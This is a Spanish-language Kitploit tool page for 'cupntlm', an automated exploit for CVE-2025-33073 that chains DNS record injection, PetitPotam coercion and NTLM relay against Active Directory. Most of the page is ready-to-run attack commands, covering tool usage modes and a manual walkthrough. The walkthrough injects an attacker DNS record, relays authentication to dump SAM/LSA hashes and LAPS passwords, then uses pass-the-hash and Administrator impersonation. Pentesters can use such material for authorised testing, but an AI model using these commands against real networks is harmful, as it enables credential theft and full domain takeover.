Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cupntlm-Automated-Exploit-For-CVE-2025-33073- — cupntlm | Kitploit
Herramientas/GitHubGitHub/egcupcake/cupntlm-automated-exploit-for-cve-2025-33073-
Escalada de PrivilegiosReconocimientoAnálisis de VulnerabilidadesExplotaciónMovimiento LateralRecopilación de InformaciónPost-ExplotaciónPruebas de PenetraciónComando y Control

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Autenticación
Red Teaming
Análisis de DNS
GitHubegcupcake/cupntlm-automated-exploit-for-cve-2025-33073-

cupntlm-Automated-Exploit-For-CVE-2025-33073-

cupntlm

Ver Repositorio
38hace 6 mesesAún no revisado

cupntlm

CVE-2025-33073 — Bypass de reflexión NTLM mediante coerción DNS
Herramienta de explotación automatizada para entornos de Active Directory.


Descripción general

cupntlm automatiza la cadena de ataque de reflexión/retransmisión NTLM que abusa de CVE-2025-33073. Combina la inyección de registros DNS, la coerción de autenticación forzada (PetitPotam) y la retransmisión NTLM en un único flujo de trabajo. La herramienta admite dos modos operativos según el alcance y los requisitos de sigilo.

Resumen de la cadena de ataque

Attacker                    Domain Controller              Target Host
   │                               │                            │
   │── 1. Inject DNS record ───────▶│                            │
   │      (attacker IP as target)   │                            │
   │                                │                            │
   │── 2. Coerce auth (PetitPotam) ─────────────────────────────▶│
   │                                │                            │
   │◀─ 3. NTLM auth forwarded back ─────────────────────────────│
   │                                │                            │
   │── 4. Relay to DC ─────────────▶│                            │
   │      (ntlmrelayx)              │                            │
   │                                │                            │
   │◀─ 5. Shell / secretsdump / etc.│                            │

Requisitos previos en la red objetivo:

  • Firma SMB deshabilitada en el objetivo de retransmisión
  • Una cuenta de dominio válida con privilegios bajos (solo lectura es suficiente)
  • Acceso de red al DC (puerto 389 LDAP, 445 SMB)

Requisitos

Paquetes del sistema

HerramientaPropósito
python3Tiempo de ejecución
pip3Administrador de paquetes de Python
gitClonado de dependencias
wgetDescarga de archivos
nmapEnumeración de firma SMB
netexec / crackmapexecVerificación de firma SMB (opcional)

Librerías de Python

LibreríaInstalación
impacketpip3 install impacket --break-system-packages
coloramapip3 install colorama --break-system-packages
dnspythonpip3 install dnspython --break-system-packages

Contenido del directorio exploit/ (se completa automáticamente con setup.sh)

exploit/
├── cupntlm.py
├── ntlmrelayx.py       # from impacket
├── dnstool.py          # from krbrelayx
├── lib/                # krbrelayx support library
└── PetitPotam.py

Instalación

git clone https://github.com/EgCupCake/cupntlm.git
cd cupntlm
sudo bash setup.sh

Uso

Modo Check — Verificar la viabilidad del ataque

Comprueba el estado de la firma SMB en los objetivos y valida las credenciales de dominio antes de intentar nada.

cd exploit
sudo python3 cupntlm.py check \
  --domain lab.local \
  --user pentester \
  --pass 'P@ss' \
  --dc-ip 10.0.0.1 \
  --relay-ip 192.168.1.100

Modo Per-Target — Registro DNS separado por host

Crea un registro DNS único para cada objetivo, dispara la coerción uno a uno y limpia los registros entre iteraciones. Más lento, pero más preciso y deja menos ruido.

sudo python3 cupntlm.py per-target \
  --targets targets.txt \
  --domain lab.local \
  --user pentester \
  --pass 'P@ss' \
  --dc-ip 10.0.0.1 \
  --relay-ip 192.168.1.100 \
  --loot loot.txt

Modo Single — Un registro DNS, retransmisión persistente

Inyecta un único registro DNS y mantiene ntlmrelayx ejecutándose de forma continua mientras itera por todos los objetivos. Más rápido para ámbitos grandes.

sudo python3 cupntlm.py single \
  --targets targets.txt \
  --domain lab.local \
  --user pentester \
  --pass 'P@ss' \
  --dc-ip 10.0.0.1 \
  --relay-ip 192.168.1.100 \
  --loot loot.txt

Formato de targets.txt

192.168.1.10
192.168.1.11
192.168.1.12

Explotación manual

Los siguientes pasos reproducen manualmente toda la cadena de ataque sin usar cupntlm.py. Útil para comprender las primitivas, depurar o adaptarse a entornos no estándar.

Paso 1 — Enumerar la firma SMB

Identifica los hosts donde la firma SMB está deshabilitada. Estos son tus objetivos de retransmisión válidos.

netexec smb 192.168.1.0/24 --gen-relay-list targets_unsigned.txt

O con nmap:

nmap -p 445 --script smb2-security-mode 192.168.1.0/24

Busca:

Message signing enabled but not required   ← valid relay target
Message signing enabled and required       ← cannot relay here

Paso 2 — Inyectar un registro DNS malicioso

Usa dnstool.py para añadir un registro A en el DNS del dominio que apunte un nombre de host a tu máquina. Cuando un objetivo resuelve este nombre de host y se autentica, la solicitud llega a tu listener de retransmisión.

cd exploit/

python3 dnstool.py \
  -u "lab.local\\pentester" \
  -p 'P@ss' \
  --action add \
  --record 'attacker-relay' \
  --data 192.168.45.200 \        # your attacker IP
  --type A \
  10.0.0.1                       # DC IP

Verifica que el registro se añadió:

python3 dnstool.py \
  -u "lab.local\\pentester" \
  -p 'P@ss' \
  --action query \
  --record 'attacker-relay' \
  10.0.0.1

Paso 3 — Iniciar el listener de retransmisión NTLM

Inicia ntlmrelayx.py antes de disparar la coerción. Permanecerá a la espera de autenticaciones entrantes.

Retransmisión a SMB — volcar SAM/LSA:

sudo python3 ntlmrelayx.py \
  -t smb://192.168.1.100 \
  -smb2support \
  --no-http-server

Retransmisión a LDAP — crear una nueva cuenta de máquina (para RBCD / shadow credentials):

sudo python3 ntlmrelayx.py \
  -t ldap://10.0.0.1 \
  --delegate-access \
  --no-smb-server \
  --no-http-server

Retransmisión a LDAPS — volcar secretos del dominio:

sudo python3 ntlmrelayx.py \
  -t ldaps://10.0.0.1 \
  --dump-laps \
  --no-smb-server \
  --no-http-server

Paso 4 — Forzar la autenticación con PetitPotam

Obliga a la máquina objetivo a autenticarse hacia tu registro DNS inyectado. PetitPotam abusa de la interfaz MS-EFSRPC — no se requieren credenciales en hosts sin parchear, o usa credenciales válidas para los parcheados.

Sin autenticación (objetivo sin parchear):

python3 PetitPotam.py \
  [dnsname] \         # your listener IP (matches DNS record)
  192.168.1.50             # target host to coerce

Autenticado (objetivo parcheado, se requieren credenciales válidas):

python3 PetitPotam.py \
  -u pentester \
  -p 'P@ss' \
  -d lab.local \
   [dnsname] \
  192.168.1.50

En este punto, el host forzado envía su autenticación NTLM a tu máquina → ntlmrelayx la captura y la retransmite.


Paso 5 — Recopilar la salida

Según el objetivo de retransmisión que elegiste en el Paso 3:

  • Retransmisión SMB → ntlmrelayx vuelca los hashes en stdout y escribe <hostname>_samhashes.txt / _lsahashes.txt
  • Acceso delegado LDAP → ntlmrelayx imprime el nombre y la contraseña de la cuenta de máquina creada; continúa con getST.py para obtener un ticket de servicio
  • Volcado LDAPS → las contraseñas LAPS se imprimen directamente

Paso 6 — Limpiar el registro DNS

Elimina siempre los registros DNS inyectados después de la operación.

python3 dnstool.py \
  -u "lab.local\\pentester" \
  -p 'P@ss' \
  --action remove \
  --record 'attacker-relay' \
  --data 192.168.45.200 \
  --type A \
  10.0.0.1

Ejemplos de post-explotación

Pass-the-hash con una cuenta de máquina retransmitida:

impacket-secretsdump \
  'lab.local/MACHINE$'@10.0.0.1 \
  -hashes :aad3b435b51404eeaad3b435b51404ee:<NT_HASH>

Obtener un ticket de servicio para S4U2Self (después de RBCD):

impacket-getST \
  -spn cifs/TARGET.lab.local \
  -impersonate Administrator \
  'lab.local/ATTACKERMACHINE$:password'
Descargar herramienta